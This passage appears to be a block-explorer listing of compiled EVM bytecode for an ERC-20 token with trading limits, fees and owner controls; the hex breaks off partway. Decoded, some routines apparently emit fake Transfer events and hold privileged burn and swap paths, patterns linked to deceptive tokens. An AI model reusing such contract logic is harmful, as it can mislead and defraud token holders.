019050612dc35f830184612da1565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612e0382612ba6565b810181811067ffffffffffffffff82111715612e2257612e21612dcd565b5b80604052505050565b5f612e34612c0e565b9050612e408282612dfa565b919050565b5f67ffffffffffffffff821115612e5f57612e5e612dcd565b5b602082029050602081019050919050565b5f80fd5b5f612e86612e8184612e45565b612e2b565b90508083825260208201905060208402830185811115612ea957612ea8612e70565b5b835b81811015612ed25780612ebe8882612c65565b845260208401935050602081019050612eab565b5050509392505050565b5f82601f830112612ef057612eef612dc9565b5b8135612f00848260208601612e74565b91505092915050565b612f1281612cea565b8114612f1c575f80fd5b50565b5f81359050612f2d81612f09565b92915050565b5f8060408385031215612f4957612f48612c17565b5b5f83013567ffffffffffffffff811115612f6657612f65612c1b565b5b612f7285828601612edc565b9250506020612f8385828601612f1f565b9150509250929050565b5f8060408385031215612fa357612fa2612c17565b5b5f612fb085828601612c98565b9250506020612fc185828601612c98565b9150509250929050565b5f60208284031215612fe057612fdf612c17565b5b5f612fed84828501612c98565b91505092915050565b5f6020828403121561300b5761300a612c17565b5b5f61301884828501612c65565b91505092915050565b5f819050919050565b5f61304461303f61303a84612c1f565b613021565b612c1f565b9050919050565b5f6130558261302a565b9050919050565b5f6130668261304b565b9050919050565b6130768161305c565b82525050565b5f60208201905061308f5f83018461306d565b92915050565b5f80604083850312156130ab576130aa612c17565b5b5f6130b885828601612c65565b92505060206130c985828601612f1f565b9150509250929050565b6130dc81612c3e565b82525050565b5f6020820190506130f55f8301846130d3565b92915050565b5f80fd5b5f8083601f84011261311457613113612dc9565b5b8235905067ffffffffffffffff811115613131576131306130fb565b5b60208301915083602082028301111561314d5761314c612e70565b5b9250929050565b5f805f6040848603121561316b5761316a612c17565b5b5f84013567ffffffffffffffff81111561318857613187612c1b565b5b613194868287016130ff565b935093505060206131a786828701612c98565b9150509250925092565b5f80604083850312156131c7576131c6612c17565b5b5f6131d485828601612c65565b92505060206131e585828601612c65565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061323357607f821691505b602082108103613246576132456131ef565b5b50919050565b5f8151905061325a81612c82565b92915050565b5f6020828403121561327557613274612c17565b5b5f6132828482850161324c565b91505092915050565b7f4e6f20746f6b656e7320746f20636c65617200000000000000000000000000005f82015250565b5f6132bf601283612b6e565b91506132ca8261328b565b602082019050919050565b5f6020820190508181035f8301526132ec816132b3565b9050919050565b5f6040820190506133065f8301856130d3565b6133136020830184612d1d565b9392505050565b5f8151905061332881612f09565b92915050565b5f6020828403121561334357613342612c17565b5b5f6133508482850161331a565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6133bd82612c79565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036133ef576133ee613386565b5b600182019050919050565b5f61340482612c79565b915061340f83612c79565b925082820190508082111561342757613426613386565b5b92915050565b7f466565732063616e6e6f742065786365656420333025000000000000000000005f82015250565b5f613461601683612b6e565b915061346c8261342d565b602082019050919050565b5f6020820190508181035f83015261348e81613455565b9050919050565b5f61349f82612c79565b91506134aa83612c79565b92508282026134b881612c79565b915082820484148315176134cf576134ce613386565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61350d82612c79565b915061351883612c79565b925082613528576135276134d6565b5b828204905092915050565b7f5377617020616d6f756e74206578636565647320636f6e74726163742062616c5f8201527f616e636500000000000000000000000000000000000000000000000000000000602082015250565b5f61358d602483612b6e565b915061359882613533565b604082019050919050565b5f6020820190508181035f8301526135ba81613581565b9050919050565b7f546f6b656e3a206e6f2045544820746f20636c656172000000000000000000005f82015250565b5f6135f5601683612b6e565b9150613600826135c1565b602082019050919050565b5f6020820190508181035f830152613622816135e9565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d205f8201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b5f613683603983612b6e565b915061368e82613629565b604082019050919050565b5f6020820190508181035f8301526136b081613677565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f613711602583612b6e565b915061371c826136b7565b604082019050919050565b5f6020820190508181035f83015261373e81613705565b9050919050565b5f8160011c9050919050565b5f808291508390505b600185111561379a5780860481111561377657613775613386565b5b60018516156137855780820291505b808102905061379385613745565b945061375a565b94509492505050565b5f826137b2576001905061386d565b816137bf575f905061386d565b81600181146137d557600281146137df5761380e565b600191505061386d565b60ff8411156137f1576137f0613386565b5b8360020a91508482111561380857613807613386565b5b5061386d565b5060208310610133831016604e8410600b84101617156138435782820a90508381111561383e5761383d613386565b5b61386d565b6138508484846001613751565b9250905081840481111561386757613866613386565b5b81810290505b9392505050565b5f61387e82612c79565b915061388983612d95565b92506138b67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846137a3565b905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f613918602683612b6e565b9150613923826138be565b604082019050919050565b5f6020820190508181035f8301526139458161390c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6139a6602483612b6e565b91506139b18261394c565b604082019050919050565b5f6020820190508181035f8301526139d38161399a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f613a34602283612b6e565b9150613a3f826139da565b604082019050919050565b5f6020820190508181035f830152613a6181613a28565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f613a9c602083612b6e565b9150613aa782613a68565b602082019050919050565b5f6020820190508181035f830152613ac981613a90565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f613b04601d83612b6e565b9150613b0f82613ad0565b602082019050919050565b5f6020820190508181035f830152613b3181613af8565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f613b92602583612b6e565b9150613b9d82613b38565b604082019050919050565b5f6020820190508181035f830152613bbf81613b86565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613c20602383612b6e565b9150613c2b82613bc6565b604082019050919050565b5f6020820190508181035f830152613c4d81613c14565b9050919050565b7f54726164696e67206973206e6f74206163746976652e000000000000000000005f82015250565b5f613c88601683612b6e565b9150613c9382613c54565b602082019050919050565b5f6020820190508181035f830152613cb581613c7c565b9050919050565b7f427579207472616e7366657220616d6f756e74206578636565647320746865205f8201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b5f613d16603583612b6e565b9150613d2182613cbc565b604082019050919050565b5f6020820190508181035f830152613d4381613d0a565b9050919050565b7f4d61782077616c6c6574206578636565646564000000000000000000000000005f82015250565b5f613d7e601383612b6e565b9150613d8982613d4a565b602082019050919050565b5f6020820190508181035f830152613dab81613d72565b9050919050565b7f53656c6c207472616e7366657220616d6f756e742065786365656473207468655f8201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b5f613e0c603683612b6e565b9150613e1782613db2565b604082019050919050565b5f6020820190508181035f830152613e3981613e00565b9050919050565b5f613e4a82612c79565b9150613e5583612c79565b9250828203905081811115613e6d57613e6c613386565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f206164647265735f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f613ecd602183612b6e565b9150613ed882613e73565b604082019050919050565b5f6020820190508181035f830152613efa81613ec1565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e5f8201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b5f613f5b602283612b6e565b9150613f6682613f01565b604082019050919050565b5f6020820190508181035f830152613f8881613f4f565b9050919050565b5f81519050613f9d81612c4f565b92915050565b5f60208284031215613fb857613fb7612c17565b5b5f613fc584828501613f8f565b91505092915050565b5f819050919050565b5f613ff1613fec613fe784613fce565b613021565b612c79565b9050919050565b61400181613fd7565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61403981612c3e565b82525050565b5f61404a8383614030565b60208301905092915050565b5f602082019050919050565b5f61406c82614007565b6140768185614011565b935061408183614021565b805f5b838110156140b1578151614098888261403f565b97506140a383614056565b925050600181019050614084565b5085935050505092915050565b5f60a0820190506140d15f830188612d1d565b6140de6020830187613ff8565b81810360408301526140f08186614062565b90506140ff60608301856130d3565b61410c6080830184612d1d565b9695505050505050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f614170602683612b6e565b915061417b82614116565b604082019050919050565b5f6020820190508181035f83015261419d81614164565b9050919050565b7f4f6e6c79206f6e652070757263686173652070657220626c6f636b20616c6c6f5f8201527f7765642e00000000000000000000000000000000000000000000000000000000602082015250565b5f6141fe602483612b6e565b9150614209826141a4565b604082019050919050565b5f6020820190508181035f83015261422b816141f2565b905091905056fea2646970667358221220f377d42e8ebb4a04ddaaf1b4dad349ecba33a1c5b18afa866fc31f209ce1a2f264736f6c63430008140033000000000000000000000000d74e8b6d4063f36e43aec246eb3003869385b117

Deployed Bytecode

0x608060405260043610610233575f3560e01c80637d16a7211161012d578063c8c8ebe4116100aa578063e2f456051161006e578063e2f45605146107d8578063e57f14e114610802578063f2fde38b1461082a578063f8b45b0514610852578063ffb54a991461087c5761023a565b8063c8c8ebe414610708578063c9567bf914610732578063cf9522fd14610748578063dd62ed3e14610772578063dd854652146107ae5761023a565b8063a457c2d7116100f1578063a457c2d714610618578063a9059cbb14610654578063afa4f3b214610690578063b18834aa146106b8578063c2b7bbb6146106e05761023a565b80637d16a7211461057057806389291a8f146105865780638da5cb5b1461059c57806395d89b41146105c65780639a7a23d6146105f05761023a565b80633be6e637116101bb57806370a082311161017f57806370a08231146104b8578063715018a6146104f4578063751039fc1461050a5780637571336a146105205780637963e1d2146105485761023a565b80633be6e637146103d857806342966c68146104005780634fbee19314610428578063583e0568146104645780636ddd17131461048e5761023a565b806323b872dd1161020257806323b872dd146102e4578063311028af14610320578063313ce5671461034a578063338d466914610374578063395093511461039c5761023a565b806306fdde031461023e578063095ea7b3146102685780630f054c06146102a457806318160ddd146102ba5761023a565b3661023a57005b5f80fd5b348015610249575f80fd5b506102526108a6565b60405161025f9190612bee565b60405180910390f35b348015610273575f80fd5b5061028e60048036038101906102899190612cac565b610936565b60405161029b9190612d04565b60405180910390f35b3480156102af575f80fd5b506102b8610958565b005b3480156102c5575f80fd5b506102ce610aa1565b6040516102db9190612d2c565b60405180910390f35b3480156102ef575f80fd5b5061030a60048036038101906103059190612d45565b610aaa565b6040516103179190612d04565b60405180910390f35b34801561032b575f80fd5b50610334610ad8565b6040516103419190612d2c565b60405180910390f35b348015610355575f80fd5b5061035e610ade565b60405161036b9190612db0565b60405180910390f35b34801561037f575f80fd5b5061039a60048036038101906103959190612f33565b610ae6565b005b3480156103a7575f80fd5b506103c260048036038101906103bd9190612cac565b610be7565b6040516103cf9190612d04565b60405180910390f35b3480156103e3575f80fd5b506103fe60048036038101906103f99190612f8d565b610c1d565b005b34801561040b575f80fd5b5061042660048036038101906104219190612fcb565b610c88565b005b348015610433575f80fd5b5061044e60048036038101906104499190612ff6565b610ca4565b60405161045b9190612d04565b60405180910390f35b34801561046f575f80fd5b50610478610cf6565b604051610485919061307c565b60405180910390f35b348015610499575f80fd5b506104a2610d1a565b6040516104af9190612d04565b60405180910390f35b3480156104c3575f80fd5b506104de60048036038101906104d99190612ff6565b610d2c565b6040516104eb9190612d2c565b60405180910390f35b3480156104ff575f80fd5b50610508610d71565b005b348015610515575f80fd5b5061051e610d84565b005b34801561052b575f80fd5b5061054660048036038101906105419190613095565b610da8565b005b348015610553575f80fd5b5061056e60048036038101906105699190612fcb565b610e08565b005b34801561057b575f80fd5b50610584610f08565b005b348015610591575f80fd5b5061059a610f2c565b005b3480156105a7575f80fd5b506105b0610fbc565b6040516105bd91906130e2565b60405180910390f35b3480156105d1575f80fd5b506105da610fe4565b6040516105e79190612bee565b60405180910390f35b3480156105fb575f80fd5b5061061660048036038101906106119190613095565b611074565b005b348015610623575f80fd5b5061063e60048036038101906106399190612cac565b611119565b60405161064b9190612d04565b60405180910390f35b34801561065f575f80fd5b5061067a60048036038101906106759190612cac565b61118e565b6040516106879190612d04565b60405180910390f35b34801561069b575f80fd5b506106b660048036038101906106b19190612fcb565b6111b0565b005b3480156106c3575f80fd5b506106de60048036038101906106d99190613154565b6111e0565b005b3480156106eb575f80fd5b5061070660048036038101906107019190612ff6565b6112bb565b005b348015610713575f80fd5b5061071c611306565b6040516107299190612d2c565b60405180910390f35b34801561073d575f80fd5b5061074661130c565b005b348015610753575f80fd5b5061075c611331565b6040516107699190612d2c565b60405180910390f35b34801561077d575f80fd5b50610798600480360381019061079391906131b1565b611337565b6040516107a59190612d2c565b60405180910390f35b3480156107b9575f80fd5b506107c26113b9565b6040516107cf9190612d2c565b60405180910390f35b3480156107e3575f80fd5b506107ec6113bf565b6040516107f99190612d2c565b60405180910390f35b34801561080d575f80fd5b5061082860048036038101906108239190612ff6565b6113c5565b005b348015610835575f80fd5b50610850600480360381019061084b9190612ff6565b611472565b005b34801561085d575f80fd5b506108666114f4565b6040516108739190612d2c565b60405180910390f35b348015610887575f80fd5b506108906114fa565b60405161089d9190612d04565b60405180910390f35b6060600480546108b59061321c565b80601f01602080910402602001604051908101604052809291908181526020018280546108e19061321c565b801561092c5780601f106109035761010080835404028352916020019161092c565b820191905f5260205f20905b81548152906001019060200180831161090f57829003601f168201915b5050505050905090565b5f8061094061150d565b905061094d818585611514565b600191505092915050565b6109606116d7565b5f3090505f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161099e91906130e2565b602060405180830381865afa1580156109b9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109dd9190613260565b90505f8111610a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a18906132d5565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610a5c9291906132f3565b6020604051808303815f875af1158015610a78573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a9c919061332e565b505050565b5f600354905090565b5f80610ab461150d565b9050610ac1858285611755565b610acc8585856117e0565b60019150509392505050565b600e5481565b5f6009905090565b610aee6116d7565b5f5b8251811015610be2578160015f858481518110610b1057610b0f613359565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550828181518110610b7a57610b79613359565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb83604051610bc79190612d04565b60405180910390a28080610bda906133b3565b915050610af0565b505050565b5f80610bf161150d565b9050610c12818585610c038589611337565b610c0d91906133fa565b611514565b600191505092915050565b610c256116d7565b60148211158015610c37575060328111155b610c76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6d90613477565b60405180910390fd5b81601381905550806012819055505050565b610c906116d7565b610ca1610c9b61150d565b8261206f565b50565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b60145f9054906101000a900460ff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610d796116d7565b610d825f61223b565b565b610d8c6116d7565b5f610d95610aa1565b905080600f819055508060118190555050565b610db06116d7565b8060165f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e4861150d565b73ffffffffffffffffffffffffffffffffffffffff1614610e67575f80fd5b5f610e70610aa1565b90505f610e7c30610d2c565b90505f60648403610e8f57819050610eb6565b60648484610e9d9190613495565b610ea79190613503565b905081811115610eb5578190505b5b81811115610ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef0906135a3565b60405180910390fd5b610f02816122fe565b50505050565b610f106116d7565b600160145f6101000a81548160ff021916908315150217905550565b610f346116d7565b5f4711610f76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6d9061360b565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610fb9573d5f803e3d5ffd5b50565b5f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610ff39061321c565b80601f016020809104026020016040519081016040528092919081815260200182805461101f9061321c565b801561106a5780601f106110415761010080835404028352916020019161106a565b820191905f5260205f20905b81548152906001019060200180831161104d57829003601f168201915b5050505050905090565b61107c6116d7565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361110b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110290613699565b60405180910390fd5b6111158282612552565b5050565b5f8061112361150d565b90505f6111308286611337565b905083811015611175576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116c90613727565b60405180910390fd5b6111828286868403611514565b60019250505092915050565b5f8061119861150d565b90506111a58185856117e0565b600191505092915050565b6111b86116d7565b6111c0610ade565b600a6111cc9190613874565b816111d79190613495565b60108190555050565b6111e86116d7565b5f5b838390508110156112b55783838281811061120857611207613359565b5b905060200201602081019061121d9190612ff6565b73ffffffffffffffffffffffffffffffffffffffff16600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161129a9190612d2c565b60405180910390a380806112ad906133b3565b9150506111ea565b50505050565b6112c36116d7565b80600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b6113146116d7565b6001601460016101000a81548160ff021916908315150217905550565b60125481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60135481565b60105481565b6113cd6116d7565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb5f6040516114679190612d04565b60405180910390a250565b61147a6116d7565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036114e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114df9061392e565b60405180910390fd5b6114f18161223b565b50565b60115481565b601460019054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611582576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611579906139bc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e790613a4a565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116ca9190612d2c565b60405180910390a3505050565b6116df61150d565b73ffffffffffffffffffffffffffffffffffffffff166116fd6125f0565b73ffffffffffffffffffffffffffffffffffffffff1614611753576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174a90613ab2565b60405180910390fd5b565b5f6117608484611337565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146117da57818110156117cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c390613b1a565b60405180910390fd5b6117d98484848403611514565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361184e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184590613ba8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036118bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b390613c36565b60405180910390fd5b5f81036118d3576118ce83835f612603565b61206a565b6118db610fbc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119495750611919610fbc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561198157505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119bb575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d45750600d60149054906101000a900460ff16155b15611d3857601460019054906101000a900460ff16611ac85760015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611a88575060015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611ac7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abe90613c9e565b60405180910390fd5b5b43600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060155f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611ba7575060165f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611c4e57600f54811115611bf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be890613d2c565b60405180910390fd5b601154611bfd83610d2c565b82611c0891906133fa565b1115611c49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4090613d94565b60405180910390fd5b611d37565b60155f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611ceb575060165f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611d3657600f54811115611d35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2c90613e22565b60405180910390fd5b5b5b5b5f611d4230610d2c565b90505f8082119050808015611d62575060145f9054906101000a900460ff165b8015611d7b5750600d60149054906101000a900460ff16155b8015611dce575060155f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611e21575060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611e74575060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611eb8576001600d60146101000a81548160ff021916908315150217905550611e9d8361286f565b5f600d60146101000a81548160ff0219169083151502179055505b611ec185610ca4565b15611ed057611ecf856129f9565b5b5f600d60149054906101000a900460ff16905060015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611f7e575060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611f87575f90505b5f811561205a5760155f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561200c576120056064611ff760125488612a8190919063ffffffff16565b612a9690919063ffffffff16565b9050612037565b612034606461202660135488612a8190919063ffffffff16565b612a9690919063ffffffff16565b90505b5f81111561204b5761204a873083612603565b5b80856120579190613e40565b94505b612065878787612603565b505050505b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036120dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d490613ee3565b60405180910390fd5b5f805f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015612160576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215790613f71565b60405180910390fd5b8160075461216e9190613e40565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160035f8282546121bf9190613e40565b925050819055505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122239190612d2c565b60405180910390a3612236835f84612aab565b505050565b5f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f600267ffffffffffffffff81111561231a57612319612dcd565b5b6040519080825280602002602001820160405280156123485781602001602082028036833780820191505090505b50905030815f8151811061235f5761235e613359565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612402573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906124269190613fa3565b8160018151811061243a57612439613359565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061249f307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611514565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac947835f84600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016125219594939291906140be565b5f604051808303815f87803b158015612538575f80fd5b505af115801561254a573d5f803e3d5ffd5b505050505050565b8060155f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b5f806125fa612ab0565b90508091505090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612671576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161266890613ba8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036126df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126d690613c36565b60405180910390fd5b6126ea838383612b54565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101561276d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276490614186565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516128569190612d2c565b60405180910390a3612869848484612aab565b50505050565b5f61287930610d2c565b90505f80820361288a5750506129f6565b5f60125460135461289b91906133fa565b03612915575f821180156128b0575060105482105b156128bd57819050612910565b5f6128e660646128d860125487612a8190919063ffffffff16565b612a9690919063ffffffff16565b905080846128f49190613e40565b935060105484111561290a57601054915061290e565b8391505b505b6129ea565b5f8211801561293857506129356005601054612a9690919063ffffffff16565b82105b156129445750506129f6565b5f8211801561296757506129646005601054612a9690919063ffffffff16565b82115b8015612974575060105482105b156129965761298f6005601054612a9690919063ffffffff16565b90506129e9565b5f6129bf60646129b160125487612a8190919063ffffffff16565b612a9690919063ffffffff16565b905080846129cd9190613e40565b93506010548411156129e35760105491506129e7565b8391505b505b5b6129f3816122fe565b50505b50565b612a3